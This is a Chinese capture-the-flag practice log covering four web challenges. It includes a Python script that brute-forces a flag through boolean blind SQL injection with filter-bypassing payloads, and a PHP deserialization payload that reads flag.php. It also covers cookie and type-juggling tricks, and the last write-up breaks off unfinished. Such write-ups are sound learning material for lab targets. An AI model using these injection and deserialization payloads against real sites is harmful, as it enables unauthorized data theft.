第8天
Web
[CISCN2019 华北赛区 Day2 Web1]Hack World

 题目明确提示flag在flag表里的flag列,这里先尝试1
 返回:你好,glzjin想要一个女朋友。
再尝试1',返回bool(false)
 到这里就感觉是布尔盲注的题目类型了(虽然我没做过布尔盲注)
最后尝试1' or,返回SQL Injection Checked.
 说明or被过滤了,空格也被过滤了
经过多次尝试发现页面只有以上三种返回提示,如果查询语句执行结果为真,那么输出你好,glzjin想要一个女朋友。,为假则输出bool(false),检测到过滤词则输出SQL Injection Checked.
因此本题考虑布尔盲注
对于布尔盲注通常有两个函数:
- length()函数:判断查询结果的长度
 - substr()函数:截取每一个字符,并穷举出字符内容
 
比如想要获取数据库名的长度(本题不需要):
?id=1' and length( database() )=猜测长度(从1开始,不断递增直到正确) -- a
 
页面异常(空)显示,表示猜解长度有误;
 页面正常显示,表示猜解长度正确;
获取数据长度之后就可以获取其具体值:
?id=1 and ascii(substr( 查询语句 ,1,1))=32 -- a
 
查询结果由一个个字符组成,对应的ASCII编码是32~126。用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32、33直到26。
有关布尔盲注的详解文章:布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程
那么结合这道题我们就可以构造出:
if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)   //*利用()替代空格*
 
在SQL中,IF可以进行判断,格式为IF(condition, value_if_true, value_if_false)
condition:一个条件表达式,其结果为布尔值(TRUE 或 FALSE)。
 value_if_true:如果 condition 为 TRUE,则返回此值。
 value_if_false:如果 condition 为 FALSE,则返回此值。
但一个个测试ASCII码比较麻烦,这里用到Python脚本:
import requests
# 网站路径
url = "http://b40b7492-f0c5-41c8-8c92-4cf070718e9e.node5.buuoj.cn:81/index.php"
# post请求参数
data= {
    "id": ""
}
# 枚举字符
def getStr():
    str = ''
    # 从第一个字符开始截取
    for l in range(1, 50):
        # 枚举字符的每一种可能性
        for n in range(32, 126):
            data["id"] = f"if((ascii(substr((select(flag)from(flag)),{l},1))={n}),1,0)"
            response = requests.post(url=url, data=data)
            if "Hello" in response.text:
                str += chr(n)
                print('第', l, '个字符枚举成功:', str )
                break
getStr()
 
即可获得flag

[网鼎杯 2020 青龙组]AreUSerialz
打开网站直接给出了源代码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {     				      	//初始化对象及属性,并调用 process() 方法
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {					//我们需要process函数执行到op=="2"这个地方
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {							//这个函数用不上
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {							//这个函数是关键
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {							//is_valid($str)用于检查一个字符串是否包含有效的可打印字符。
        $obj = unserialize($str);
    }
}
 
可以看出这是一道PHP反序列化的题目,为了获得flag需要以下步骤:
- 通过GET方法给
str传参 - 绕过
is_valid()的检测 - 绕过
$this->op === "2",防止op的值被修改为2 - 让
file_get_contents($this->filename)能读取到flag.php的值 
基于以上几点可以构造下面的PHP代码:
<?php
class FileHandler {
    public $op=2;			         /*由于$this->op == "2"是弱类型比较而
$this->op === "2"是强类型比较,所以这里的整数2可以绕过__destruct()且不影响结果*/
    public $filename="./flag.php";
	public $content;
	}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>
 
上面将属性类型protected改为public 是为了避免出现打印符号(protected反序列化后为%00,会被is_valid函数检测到),并且PHP 7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符(有关其他方法绕过打印符号检测的文章:[网鼎杯 2020 青龙组]AreUSerialz1)
Payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";N;}
 
接着在返回页面注释中就能看到flag

这里也可以利用伪协议输出网页内容,同样能够将注释内容输出:
<?php
class FileHandler{
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>
 
[极客大挑战 2019]BuyFlag

这是一个购买flag的网页,打开右上角的菜单

F12后发现网站泄露源代码

由于是弱类型,让password=404a即可也可以设为404%00,函数会认为这是个字符串
先通过HackBar构造password=404%00然后使用BP抓包(必须先在HackBar构造POST,直接在BP构造可能因为请求包长度变化失效)
由于网站限定只有CUIT的人可以购买,通过抓包发现Cookie: user=0,将其设为1就能绕过

然后提示需要Flag need your 100000000 money
将password=404%00换成password=404%00&money=100000000又提示Nember lenth is too long
这里将其改成科学计数法即可password=404%00&money=1e9
成功拿到flag

[护网杯 2018]easy_tornado
打开网站就是三个txt文件

/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
 
当点进flag.txt时,url变为
http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57
 
所以,为了获得flag,我们应该是要访问:
 ?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))
flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值


![[HackMyVM]靶场Crossbow](https://img-blog.csdnimg.cn/direct/25827a67260046e886294dc1684a1748.png)
















